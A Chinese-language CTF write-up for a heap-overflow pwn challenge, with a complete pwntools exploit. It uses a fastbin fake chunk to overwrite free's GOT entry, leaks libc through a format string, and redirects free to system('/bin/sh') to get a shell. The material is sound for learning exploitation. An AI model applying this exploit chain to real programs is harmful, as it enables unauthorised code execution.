pesp_heap-overflow

1.常规checksec,开了canary和NX,Partial RELRO。开IDA找漏洞,change函数中存在堆溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

int v0; // ST08_4
char nptr; // [rsp+20h] [rbp-10h]
char buf; // [rsp+10h] [rbp-20h]
----------------------------------------------------------
printf("Please enter the index of servant:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
--------------------------------------------------------------
printf("Please enter the length of servant name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);

可以发现change函数中,并没有检查堆块的大小,我们输入多少,它就认为是多少,所以这里可以制造堆溢出。

2.这题有很多其它漏洞,这里先只利用堆溢出来思考下。

(1)先申请两个chunk,chunk1和chunk2,然后修改chunk1的大小和内容,使得溢出数据,将chunk2的fd改成got表中地址,之后释放掉chunk2,使其在fastbins中的结构为:

1
2
3
4
#注释头

fastbins->chunk2
chunk2.fd=got_addr。

这样就可以再申请chunk_a,chunk_b,这里的chunk_a就是从fastbins中申请回来的chun2,而chunk_b的首地址就是got_addr。之后通过修改chunk_b的内容,这样就可以修改got表中的内容,从而劫持got表。

(2)由于这里引入了printf函数,所以可以将free函数的got表劫持为printf(plt)函数,这样就可以在free一个chunk时制造格式化字符串漏洞,通过修改chunk内容为需要的格式化字符之后,再通过该格式化字符串漏洞泄露栈上某函数的Libc地址,从而计算得到libc基地址,从而计算得到system函数真实地址。

(3)之后再通过上述方法,将free_got劫持为system_real_addr,之后释放一个内容为binsh字符串的chunk,就相当于调用system(“/bin/sh”),从而getshell。

3.开始编写payload

(1)首先确定增删改查函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

def show():
io.sendlineafter("choice:","1")

def add(length,cont):
io.sendlineafter("choice:","2")
io.sendlineafter(":",str(length))
io.sendafter(":",cont)
sleep(0.01)

def edit(idx,length,cont):
io.sendlineafter("choice:","3")
io.sendlineafter(":",str(idx))
io.sendlineafter(":",str(length))
io.sendafter(":",cont)
sleep(0.01)

def delete(idx):
io.sendlineafter("choice:","4")
io.sendlineafter(":",str(idx))

(2)尝试修改got表,制造格式化字符串溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#申请三个chunk,chunk0,chunk1,chunk2包括之后需要的格式化字符。
add(0x50,'000000')
add(0x50,'111111')
add(0x10,".%17$p.")
#64位程序,将断点下在change函数中的call free,观察此时栈中数据,可以发现从rsp往下数12是libc_main_addr,计算偏移为12+6-1=17.

#释放chunk1,之后修改chunk1的fd位使其指向fakechunk
delete(1)
edit(0,0x100,flat('0'*0x50,'00000000',0x61,0x601ffa))
#这里两条代码顺序不能改变,因为当chunk1被释放时,其fd位会发生改变,指向0x0,第一个进入fastbins的chunk其fd只要不被修改,一直都是指向0x0。所以需要先释放,再修改,防止之后fd被修改指向0x0。
#现在fastbins为:fastbinsY[0]->chunk1->fakechunk

#连续申请两个chunk,将chunk1和fakechunk申请回来,同时劫持got表,将free函数的got表值改成printf的plt表值,调用plt表中代码,从而调用printf函数。
add(0x50,'xxxxxxxx')
add(0x50,flat("\0"*0xe,flat(elf.sym["printf"])[:6]))#get fakechunk,change got

#释放chunk2,触发free函数,也就是劫持后的printf函数,得到栈上地址libc_main_addr,计算得到libc_address
delete(2)
io.recvuntil(".")
temp = io.recvuntil(".",drop=True)
libc_address = int(temp,16) - 0x20840

(3)再次劫持got表为system函数,释放Binsh字符chunk,getshell

1
2
3
4
5
6
7
8
#注释头

#这里的chunk3就是fakechunk,也就是got表
edit(3,0x50,flat('\0'*14,flat(libc_address+libc.sym['system'])[:6]))
add(0x10,"/bin/sh\0")
#由于前一个释放的是chunk2,所以这里再次申请回来的索引还是2,可以多次运行程序尝试就可以知道,当前面某个的chunk为空时,申请的chunk会先填满前面的空的chunk索引。
delete(2)
io.interactive()

▲制造fakechunk时,需要设置合法的size,不然如果fastbins中的chunk.fd指向fakechunk,而fakechunk的大小又不是该fastbins组中,那么程序会崩溃。所以在最开始设置大小时,就需要好好计算以下,通过调试看看got表中在free函数前能不能找到还没被延迟绑定的函数可以确定计算大小,或者看其它函数的got表最后三位也可以,这样才能制造合法size使得程序不会崩溃。这里用到的0x601ffa就是调试过程中发现能用的,并且还需要填充0xe,也就是14个字节。